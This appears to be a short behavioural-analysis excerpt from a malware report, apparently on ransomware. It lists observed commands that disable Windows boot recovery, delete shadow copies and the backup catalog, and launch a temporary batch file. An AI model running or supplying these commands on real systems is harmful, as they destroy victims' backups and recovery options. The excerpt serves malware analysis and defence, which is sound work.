Behavioral Analysis

cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no

cmd.exe "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete

cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures

cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet

cmd.exe "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet

cmd.exe "C:\Windows\system32\cmd.exe" /C C:\Users\test22\AppData\Local\Temp\~temp001.bat